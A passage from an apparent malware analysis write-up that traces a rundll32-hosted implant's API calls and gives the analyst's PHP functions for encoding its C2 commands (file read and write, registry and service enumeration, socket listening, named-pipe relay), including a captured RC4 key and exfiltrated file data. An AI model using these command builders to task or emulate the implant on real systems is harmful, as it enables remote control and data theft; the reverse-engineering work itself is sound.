[PAR] LPVOID                lpEnvironment        : 0x0
[PAR] LPCSTR                lpCurrentDirectory   : 0x0 (null)
[PAR] LPSTARTUPINFOA        lpStartupInfo        : 0x00000036D202E200
[FLD]                       -> lpDesktop   = 0x0 (null)
[FLD]                       -> lpTitle     = 0x0 (null)
[FLD]                       -> dwFlags     = 0x100 (STARTF_USESTDHANDLES)
[FLD]                       -> wShowWindow = 0x0
[FLD]                       -> hStdInput   = 0x0
[FLD]                       -> hStdOutput  = 0x35c
[FLD]                       -> hStdError   = 0x35c
[PAR] LPPROCESS_INFORMATION lpProcessInformation : 0x00000036D202E1D0
[RET] [0x36d1aab8ee]

[CNT] [1649]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <ResumeThread> in [KERNEL32.DLL] 
[PAR] HANDLE hThread       : 0x3bc
[RET] [0x36d1aabade]

III. Result

[CNT] [1648]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x00000036CFB6B860
[STR]        -> "B0E9"
[STR]           "AB 332 1432 notepad"
[PAR] DWORD  cbBinary   : 0x30
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x00000036CFBBC470
[PAR] DWORD* pcchString : 0x00000036D202E06C
[RET] [0x36d1a9e028]

CreateProcessGetPidTid2

// CreateProcess based on fields C1E0 and C26C from GlobalStruct
function CreateProcessGetPidTid2($p1, $p2)
{
	$p1_b64 = base64_encode($p1);
	
	$cmd_id = "\xd4\x3f $p1_b64 $p2";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

Not sure yet, but this function seems to be exactly the same as the previous one

ReadFileW

// $size_in_KB is optional
// if 0 or not specified 512kb will be read from targeted file
function ReadFileW($filename, $size_in_KB)
{
	$filename_le16 = UConverter::transcode($filename, 'UTF-16LE', 'UTF-8');
	$p1_b64 = base64_encode($filename_le16);
	
	$cmd_id = "\x74\x2c $p1_b64 $size_in_KB";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [1487]
[PTP] [0x688] [0x654] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000CFBE4C85A0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+cMjiSMkOGDv2whCCK1hp61d+fGo6tPXyFLn0PSInEbGKFVnnuaxmWZuzXPGFDrHRILADuba+VvMEe8ChOZ+eMc5NGqU9Ow=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000CFBE4BBCD0
[PAR] DWORD   *pcbBinary : 0x000000CFC03BE8CC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xcfc031bea1]

II. Execution

[CNT] [1514]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <GetSystemTime> in [KERNEL32.DLL] 
[PAR] LPSYSTEMTIME lpSystemTime : 0x000000CFC02BECF0
[RET] [0xcfc030c1b9]

[CNT] [1515]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <SystemTimeToTzSpecificLocalTime> in [KERNEL32.DLL] 
[RET] [0xcfc030c1cc]

[CNT] [1531]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000CFBE4C2680
[STR]        -> "19-03-2025_16-42-44_autorunsc64.exe"
[PAR] DWORD  cbBinary   : 0x46
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000CFBE4D9DC0
[PAR] DWORD* pcchString : 0x000000CFC02BEBFC
[RET] [0xcfc031e028]

[CNT] [1534]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <CreateFileW> in [KERNEL32.DLL] 
[PAR] LPCWSTR lpFileName            : 0x000000CFBE4DC6A0
[STR]         -> "autorunsc64.exe"
[PAR] DWORD   dwDesiredAccess       : 0x80000000 (GENERIC_READ)
[PAR] DWORD   dwCreationDisposition : 0x3 (OPEN_EXISTING)
[RET] [0xcfc030c278]

[CNT] [1535]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <GetFileSizeEx> in [KERNEL32.DLL] 
[PAR] HANDLE         hFile      : 0x364
[PAR] PLARGE_INTEGER lpFileSize : 0x000000CFC02BECA8
[RET] [0xcfc030c293]

[CNT] [1550]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <ReadFile> in [KERNEL32.DLL] 
[PAR] HANDLE hFile                : 0x364
[PAR] LPVOID lpBuffer             : 0x000000CFBE4F3320
[PAR] DWORD  nNumberOfBytesToRead : 0x2710
[RET] [0xcfc030c3a8]


III. Result

[CNT] [1566]
[PTP] [0x688] [0xe8] [c:\windows\system32\rundll32.exe]
[API] <SystemFunction032> in [CRYPTSP.DLL] 
[INF] [ Undocumented RC4 implementation ]
[PAR] PBINARY_STRING buffer : 0x000000CFC02BEAE0
[FLD]                -> Length    = 0x34ed
[FLD]                -> MaxLength = 0x34ed
[FLD]                -> Buffer    = 0x000000CFBE4F8E70
[STR]                -> "{"cds":{"auth":"OV1T557KBIUECUM5"},"dt":{"chkin":"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR]                   "AAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB+XYtDOjzlEDo85RA6PO"
[STR]                   "UQcUTmET885RBxROARljzlEC9D4BF6POUQL0PhESg85RAvQ+YRMzzlEHFE4REqPOUQcUTjETg85RBxROQRJTzlEDo85BB4PeUQALzhETk85RAAvOARGzzlEA"
[STR]                   "C8GhA7POUQOjxyEDs85RAAvOcROzzlEFJpY2g6POUQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwCKc7tlAAAAAAAAAADwACIACwIOJQBYBwAA+A"
[STR]                   "QAAAAAAADHBAAAEAAAAAAAQAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAkAwAAAQAADp0DAADAGCBAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAA"
[STR]                   "AAAAAAAAAAEAAAAAAAAAAAAAAAIPAJAEABAAAA0AoAYKMBAACACgAgPQAAAB4MACAoAAAAgAwAQAkAALBOCQBUAAAAAAAAAAAAAAAAAAAAAAAAAIBPCQAoAA"
[STR]                   "AAcE0JAEABAAAAAAAAAAAAAABwBwBACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADcVgcAABAAAABYBwAABAAAAAAAAAAAAAAAAAAAIAAAYC"
[STR]                   "5yZGF0YQAABpwCAABwBwAAngIAAFwHAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAMRrAAAAEAoAADYAAAD6CQAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAgPQ"
[STR]                   "AAAIAKAAA+AAAAMAoAAAAAAAAAAAAAAAAAQAAAQF9SREFUQQAAXAEAAADACgAAAgAAAG4KAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAGCjAQAA0AoAAKQBAA"
[STR]                   "BwCgAAAAAAAAAAAAAAAABAAABALnJlbG9jAABACQAAAIAMAAAKAAAAFAwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR]                   "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR]                   "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBTSIPsIDPJ/xW6YQcASIvIul"
[STR]                   "gAAABIi9j/FZlhBwC6WgAAAEiLy4kFMzYKAP8VhWEHAEiLy4kFKDYKAEiDxCBbSP8leGEHAMzMzMzMzMzMSIPsOLpAAAAASI0FIDABAEyNDTkvAQBIiUQkIE"
[STR]                   "iNDR1QCgBEjULU6FCvBABIjQ2tUAcASIPEOOm4sgQAzMzMzEiNDblQBwDpqLIEAMzMzMxIg+woSI0NNQwIAOiYjAUAM8lIiQXvVAoA6G6MBQBIjQ37UAcASI"
[STR]                   [TRUNCATED]
[PAR] PBINARY_STRING key    : 0x000000CFC02BEAD0
[FLD]                -> Length    = 0x10
[FLD]                -> MaxLength = 0x10
[FLD]                -> Buffer    = 0x000000CFBE4ACFF0
[STR]                -> "S47EFEUO3D2O6641"
[RET] [0xcfc0304c35]

RegEnumKeyA

/*
	$hKey : 
	"1" = HKEY_LOCAL_MACHINE
	"2" = HKEY_CURRENT_USER
	"3" = HKEY_CLASSES_ROOT
	"4" = HKEY_CURRENT_CONFIG
	else = HKEY_USERS
*/
function RegEnumKeyA($hKey, $SubKey)
{

	$cmd_id = "\x36\x6c $hKey $SubKey";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [395]
[PTP] [0x6e4] [0x2ec] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000545977D7F0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+WubiSNMxHCzZpQz7Gj9p+2kYThEKttPdJ93wJSknM5COFwTQt4Y7KLXHYvGvE73JL7J/ubGGZNw2Gu2vFrLbSoclGaE8NSGY"
[STR]            "7WVNjGB2g1yCSXANHWR2zTJ5Io/dvg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0000005459758AB0
[PAR] DWORD   *pcbBinary : 0x000000545B68EC7C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x545b5ebea1]

II. Execution

[CNT] [418]
[PTP] [0x6e4] [0x420] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExA> in [ADVAPI32.dll] 
[PAR] HKEY    hKey       : 0x80000001 (HKEY_CURRENT_USER)
[PAR] LPCTSTR lpSubKey   : 0x0000005459766A20
[STR]         -> "Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
[PAR] DWORD   ulOptions  : 0x0
[PAR] REGSAM  samDesired : 0x20019 (KEY_READ)
[PAR] PHKEY   phkResult  : 0x000000545BBFF2B8
[RET] [0x545b5f9ef2]

[CNT] [419]
[PTP] [0x6e4] [0x420] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll] 
[PAR] HKEY      hKey                   : 0x2fc 
[PAR] LPWSTR    lpClass                : 0x0
[PAR] LPDWORD   lpcchClass             : 0x0
[PAR] LPDWORD   lpReserved             : 0x0
[PAR] LPDWORD   lpcSubKeys             : 0x000000545BBFF290
[PAR] LPDWORD   lpcbMaxSubKeyLen       : 0x0
[PAR] LPDWORD   lpcbMaxClassLen        : 0x0
[PAR] LPDWORD   lpcValues              : 0x000000545BBFF294
[PAR] LPDWORD   lpcbMaxValueNameLen    : 0x0
[PAR] LPDWORD   lpcbMaxValueLen        : 0x0
[PAR] LPDWORD   lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime      : 0x0
[RET] [0x545b5f9f64]

[CNT] [434]
[PTP] [0x6e4] [0x420] [c:\windows\system32\rundll32.exe]
[API] <RegEnumValueW> in [ADVAPI32.dll] 
[RET] [0x545b5fa149]

[CNT] [436]
[PTP] [0x6e4] [0x420] [c:\windows\system32\rundll32.exe]
[API] <RegQueryValueExW> in [ADVAPI32.dll] 
[PAR] HKEY    hKey        : 0x2fc 
[PAR] LPCWSTR lpValueName : 0x000000545978E520
[STR]         -> "url1"
[PAR] LPBYTE  lpData      : 0x000000545977FDA0
[PAR] LPDWORD lpcbData    : 0x000000545BBFF2A0
[RET] [0x545b5fa486]

[...]

III. Result

[CNT] [444]
[PTP] [0x6e4] [0x420] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000545975A520
[STR]        -> "366C"
[STR]           "AB 2|url1?C:\Windows\System32|url2?C:\Windows|"
[PAR] DWORD  cbBinary   : 0x66
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x0000005459748C50
[PAR] DWORD* pcchString : 0x000000545BBFF19C
[RET] [0x545b5ee028]

QueryServiceConfig

/*
	$MachineName : can be NULL (LocalComputer)
	$param 2 : "full" or nothing (OPTIONAL) ?
	$param 3 : service Name (OPTIONAL)
	Query All services or just the one specified
*/
function QueryServiceConfig($MachineName, $p2, $ServiceName)
{

	$cmd_id = "\x58\xb4 $MachineName $p2 $ServiceName";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0xbdc] [0x8f0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x00000079B1BA5EF0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+Q8fESNcfBEnZ0CGsL2N97WALbAsIj8SZac7/JBB0"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x00000079B1BA9080
[PAR] DWORD   *pcbBinary : 0x00000079B3AAE97C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x79b3a0bea1]

II. Execution

[CNT] [359]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll] 
[PAR] LPCSTR  lpMachineName   : 0x0 (null)
[PAR] LPCSTR  lpDatabaseName  : 0x0 (null)
[PAR] DWORD   dwDesiredAccess : 0x4 (SC_MANAGER_ENUMERATE_SERVICE)
[RET] [0x79b3a1d9d5]

[CNT] [370]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <OpenServiceW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hSCManager      : 0xb1bc4740 
[PAR] LPCWSTR   lpServiceName   : 0x00000079B1BB0AE0
[STR]           -> "BthHFSrv"
[PAR] DWORD     dwDesiredAccess : 0x5 (SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS)
[RET] [0x79b3a1d523]

[CNT] [372]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <QueryServiceConfigW> in [ADVAPI32.dll] 
[PAR] SC_HANDLE               hService        : 0x00000079B1BC4890
[PAR] LPQUERY_SERVICE_CONFIGW lpServiceConfig : 0x00000079B1BC8900
[PAR] DWORD                   cbBufSize       : 0x1aa
[PAR] LPDWORD                 pcbBytesNeeded  : 0x00000079B401EDC4
[RET] [0x79b3a1d578]

[CNT] [373]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <QueryServiceStatus> in [ADVAPI32.dll] 
[PAR] SC_HANDLE        hService        : 0x00000079B1BC4890
[PAR] LPSERVICE_STATUS lpServiceStatus : 0x00000079B401EDF4
[RET] [0x79b3a1d598]

[CNT] [381]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <QueryServiceConfig2W> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hService       : 0x00000079B1BC4890
[PAR] DWORD     dwInfoLevel    : 0x1 (SERVICE_CONFIG_DESCRIPTION)
[PAR] LPBYTE    lpBuffer       : 0x00000079B1BA2F80
[PAR] DWORD     cbBufSize      : 0x17a
[PAR] LPDWORD   pcbBytesNeeded : 0x00000079B401EDCC
[RET] [0x79b3a1d6a1]

[CNT] [383]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <QueryServiceConfig2W> in [ADVAPI32.dll] 
[PAR] SC_HANDLE hService       : 0x00000079B1BC4890
[PAR] DWORD     dwInfoLevel    : 0x8 (SERVICE_CONFIG_TRIGGER_INFO)
[PAR] LPBYTE    lpBuffer       : 0x00000079B1BC53F0
[PAR] DWORD     cbBufSize      : 0x48
[PAR] LPDWORD   pcbBytesNeeded : 0x00000079B401EDC8
[RET] [0x79b3a1d718]

[CNT] [384]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <UuidToStringW> in [RPCRT4.dll] 
[RET] [0x79b3a1d774]

III. Result

[CNT] [401]
[PTP] [0xbdc] [0x5c8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x00000079B1B864B0
[STR]        -> "58B4"
[STR]           "home"
[STR]           "BthHFSrv|Service mains libres Bluetooth|1|C:\Windows\System32\svchost.exe -k LocalServiceAndNoImpersonation|NT AUTHORITY"
[STR]           "\LocalService|32|3Permet d’utiliser des casques Bluetooth sans fil sur cet ordinateur. Si ce service est arrêté ou désac"
[STR]           "tivé, les casques Bluetooth ne fonctionneront pas correctement sur cet ordinateur.|1 1 bd41df2d-addd-4fc9-a194-b9881d2a2"
[STR]           "efa|"
[PAR] DWORD  cbBinary   : 0x2ee
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x00000079B1BA2F80
[PAR] DWORD* pcchString : 0x00000079B401EDCC
[RET] [0x79b3a0e028]

test_base64_decode

I still need to figure this one out, this command is expecting some base64 encoded data from the C2 and replies with the length of the base64 decoded data.

function test_base64_decode($p1 $p2)
{
	$p2_b64 = base64_encode($p2);
	
	$cmd_id = "\xea\xe2 $p1 $p2_b64";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

WriteFile

function WriteFile($filename, $data)
{
	$data_b64 = base64_encode($data);
	
	$cmd_id = "\xa1\x13 $filename $data_b64";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0x2d8] [0xbf4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000D88DC99660
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+e9nYSP0fMg/hxGP7G0V+5WYafAgKjNvwFIDoGD4lO8WCYCbmifBuQoKhft6dMaHDJrAiyoSsfO0DffLkWP7ie4FQ"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000D88DCB4490
[PAR] DWORD   *pcbBinary : 0x000000D88FC6E57C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xd88fbcbea1]

II. Execution

[CNT] [336]
[PTP] [0x2d8] [0xbf4] [c:\windows\system32\rundll32.exe]
[API] <CreateFileA> in [KERNEL32.DLL] 
[PAR] LPCTSTR lpFileName            : 0x000000D88DCAA920
[STR]         -> "pipe.txt"
[PAR] DWORD   dwDesiredAccess       : 0x40000000 (GENERIC_WRITE)
[PAR] DWORD   dwCreationDisposition : 0x2 (CREATE_ALWAYS)
[RET] [0xd88fbe1dd1]

[ * ] [pid 0x2d8][tid 0xbf4] c:\windows\system32\rundll32.exe
[EVT] [Kernel Monitoring]
[MSG] [FILE_CREATED] [pipe.txt]

[CNT] [338]
[PTP] [0x2d8] [0xbf4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000D88DCAA9A0
[STR]         -> "Q2VjaSBuJ2VzdCBwYXMgdW5lIHBpcGUK"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000D88DCC51B0
[PAR] DWORD   *pcbBinary : 0x000000D88FC6E40C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xd88fbcbea1]

[CNT] [339]
[PTP] [0x2d8] [0xbf4] [c:\windows\system32\rundll32.exe]
[API] <WriteFile> in [KERNEL32.DLL] 
[PAR] HANDLE       hFile                  : 0x2f4
[PAR] LPVOID       lpBuffer               : 0x000000D88DCC51B0
[PAR] DWORD        nNumberOfBytesToWrite  : 0x18
[PAR] LPDWORD      lpNumberOfBytesWritten : 0x000000D88FC6E48C
[PAR] LPOVERLAPPED lpOverlapped           : 0x0
[RET] [0xd88fbe1e0d]

III. Result

[CNT] [353]
[PTP] [0x2d8] [0xbf4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000D88DCC5570
[STR]        -> "A113"
[STR]           "24 pipe.txt"
[PAR] DWORD  cbBinary   : 0x20
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000D88DC9AC20
[PAR] DWORD* pcchString : 0x000000D88FC6E3AC
[RET] [0xd88fbce028]

listen

function listen($label, $port)
{
	
	$cmd_id = "\x9a\x69 $label $port";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

This command is opening a socket litening for incoming connection on the specified port.
Here, I ordered the malware to listen from incoming connection on the 80 port and just poped a firefox on 127.0.0.1:80 as a POC.

I. Fetching the order

[CNT] [327]
[PTP] [0xad8] [0xacc] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000B89840EC40
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+eeb+SNMMB033/R/6ME4b+n0KeyolpcTDCqr/bl9pIIS7GA=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000B8983F6B80
[PAR] DWORD   *pcbBinary : 0x000000B89A2DE94C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xb89a23bea1]

II. Execution

[CNT] [356]
[PTP] [0xad8] [0xb04] [c:\windows\system32\rundll32.exe]
[API] <getaddrinfo> in [ws2_32.dll] 
[PAR] PCSTR      pNodeName    : 0x0 (null)
[PAR] PCSTR      pServiceName : 0x000000B8983FDED0
[STR]            -> "80"
[PAR] ADDRINFOA  *pHints      : 0x000000B89A84EE30
[FLD] PADDRINFOW    pAddrInfo : 0x000000B89A84EE30
[FLD]               -> ai_flags     = 0x1 (AI_PASSIVE)
[FLD]               -> ai_family    = 0x2 (AF_INET) (IPv4)
[FLD]               -> ai_socktype  = 0x1 (SOCK_STREAM)
[FLD]               -> ai_protocol  = 0x6 (IPPROTO_TCP)
[FLD]               -> ai_addrlen   = 0x0
[FLD]               -> ai_canonname = 0x0 (null)
[FLD]               -> *ai_addr     = 0x0000000000000000
[FLD]               -> *ai_next     = 0x0000000000000000
[PAR] PADDRINFOA *ppResult    : 0x000000B89A84EE18
[RET] [0xb89a250b40]

[CNT] [358]
[PTP] [0xad8] [0xb04] [c:\windows\system32\rundll32.exe]
[API] <socket> in [ws2_32.dll] 
[PAR] int address_family : 0x2 (AF_INET) (IPv4)
[PAR] int type           : 0x1 (SOCK_STREAM)
[PAR] int protocol       : 0x6 (IPPROTO_TCP)
[RET] [0xb89a250b67]

[CNT] [360]
[PTP] [0xad8] [0xb04] [c:\windows\system32\rundll32.exe]
[API] <bind> in [ws2_32.dll] 
[PAR] SOCKET          s       : 0x2dc
[PAR] struct sockaddr *name   : 0x000000B8983FE110
[FLD]          -> sin_family   : 2 (IPv4)
[FLD]          -> sin_port     : 20480 (Little endian : 80)
[FLD]          -> sin_addr     : 0.0.0.0
[PAR] int             namelen : 0x10
[RET] [0xb89a250b94]

[CNT] [361]
[PTP] [0xad8] [0xb04] [c:\windows\system32\rundll32.exe]
[API] <listen> in [ws2_32.dll] 
[PAR] SOCKET s       : 0x2dc
[PAR] int    backlog : 0x2dc
[RET] [0xb89a250baa]

[CNT] [370]
[PTP] [0xad8] [0xb04] [c:\windows\system32\rundll32.exe]
[API] <accept> in [ws2_32.dll] 
[PAR] SOCKET    s       : 0x2dc
[PAR] sockaddr* addr    : 0x000000B89A84EE20
[PAR] int*      addrlen : 0x000000B89A84EDFC
[RET] [0xb89a250c0e]

[CNT] [3168]
[PTP] [0x8ec] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <inet_ntoa> in [ws2_32.dll] 
[PAR] struct in_addr in : 0x100007f
            -> 127.0.0.1
[RET] [0x54a5580c38]

[CNT] [3193]
[PTP] [0x8ec] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <recv> in [ws2_32.dll] 
[PAR] SOCKET s      : 0x3ec
[PAR] char   *buf   : 0x00000054A5B7DFCF
[PAR] int    len    : 0x1000
[RET] [0x54a5555b6b]

[CNT] [3195]
[PTP] [0x8ec] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x00000054A363CE30
[STR]         -> "GET / HTTP/1.1"
[STR]            "Accept: text/html, application/xhtml+xml, */*"
[STR]            "Accept-Language: fr-FR"
[STR]            "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
[STR]            "Accept-Encoding: gzip, deflate"
[STR]            "Host: 127.0.0.1"
[STR]            "DNT: 1"
[STR]            "Connection: Keep-Alive"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x00000054A360C180
[PAR] DWORD   *pcbBinary : 0x00000054A5B7DE7C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x54a556bea1]

[CNT] [3196]
[PTP] [0x8ec] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <send> in [ws2_32.dll] 
[PAR] SOCKET s    : 0x3ec
[PAR] char   *buf : 0x00000054A5588E3B
[STR]        -> ""
[PAR] int    len  : 0x2
[RET] [0x54a5555c30]

III. Result

[CNT] [3186]
[PTP] [0x8ec] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x00000054A3622DB0
[STR]        -> "9A69"
[STR]           "13 LABEL:80 127.0.0.1"
[PAR] DWORD  cbBinary   : 0x46
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x00000054A363ADD0
[PAR] DWORD* pcchString : 0x00000054A5B7EF9C
[RET] [0x54a556e028]

pipe_com_todo

Requires an already opened named pipe. It is very likely a way to allow infected host without internet access to fetch orders and report back through named pipe to an internet connected host.

function pipe_com_todo($PipeName, $p2)
{
	
	$cmd_id = "\x4d\x3c $PipeName $p2";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0x714] [0x2c8] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x0000009A978BBFE0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+QN/iSPw1Z0jjpRCtHUpD9WkYDy8PqdPCHLiHPhIeGZ+USzqRiYA/JvrWW8Kodg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0000009A978C2C20
[PAR] DWORD   *pcbBinary : 0x0000009A997CEBAC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x9a9972bea1]

II. Execution

[CNT] [350]
[PTP] [0x714] [0x7b8] [c:\windows\system32\rundll32.exe]
[API] <CreateFileA> in [KERNEL32.DLL] 
[PAR] LPCTSTR lpFileName            : 0x0000009A978DB250
[STR]         -> "not_a_pipe_its_a_file.txt"
[PAR] DWORD   dwDesiredAccess       : 0xc0000000 (GENERIC_READ | GENERIC_WRITE)
[PAR] DWORD   dwCreationDisposition : 0x3 (OPEN_EXISTING)
[RET] [0x9a997288c9]

[CNT] [353]
[PTP] [0x714] [0x7b8] [c:\windows\system32\rundll32.exe]
[API] <SetNamedPipeHandleState> in [KERNEL32.DLL] 
[PAR] HANDLE  hNamedPipe           : 0x2b0
[PAR] LPDWORD lpMode               : 0x0000009A99D3F274
